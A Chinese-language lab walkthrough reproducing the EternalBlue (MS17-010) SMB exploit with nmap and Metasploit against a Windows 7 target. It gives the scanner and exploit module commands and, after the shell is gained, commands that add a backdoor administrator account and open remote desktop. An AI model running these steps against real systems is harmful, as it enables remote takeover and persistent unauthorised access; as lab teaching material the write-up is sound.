本文主要是介绍永恒之蓝(ms17-010)复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
永恒之蓝
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
原理
永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
永恒之蓝(ms17-010)漏洞是一种缓冲区溢出漏洞
缓冲区:
内存空间中用来存储程序运行时临时数据的一片大小有限并且连续的内存区域。根据程序中内存的分配方式和使用目的,缓冲区一般可分为栈和堆两种类型。
缓冲区溢出
利用Metasploit(msf)渗透工具
Metasploit是一种渗透工具,在kali中是自带的,主要分为七个模块:
exploits(渗透攻击/漏洞利用模块), payloads(攻击载荷模块), auxiliary(辅助模块), nops(空指令模块),encoders(编译器模块),post(后渗透攻击模块), evasion(规避模块)
各模块的作用
Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。
Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。
Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。
Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。
Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。
Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。
Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。
永恒之蓝复现
前提:保证win7和kali能相互ping通,并且把win7的防火墙关闭,不然nmap扫描会失效
开始进行永恒之蓝的复现,用nmap工具扫描端口
进入msfconsole框架
扫描ms17-010漏洞
永恒之蓝利用的就是这个漏洞
search ms17-010
利用辅助模块进行扫描,该模块不会直接在攻击机和靶机之间建立访问,只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。
use auxiliary/scanner/smb/smb_ms17_010
扫描之后查看需要配置的参数
设置攻击目标
RHOSTS 参数是要探测主机的ip或ip范围,设置成win7的ip,执行
进行攻击
使用攻击模块,设置攻击载荷进行攻击,run
use exploit/windows/smb/ms17_010_eternalblue
出现win说明攻击成功了
查看主机系统信息和主机IP
屏幕截屏,并且进入shell控制台
远程桌面控制(在shell控制台中)
添加用户名,密码,并且添加到管理员中获得更大的权限
net uesr hack 123/add //添加用户和密码
net localgroup administrators hack /add//添加管理员
net user //查看用户
net localgroup administrators //查看管理员
查看本地用户和管理员
运用getuid开启远程桌面(退出shell控制台)
rdesktop命令连接
这篇关于永恒之蓝(ms17-010)复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!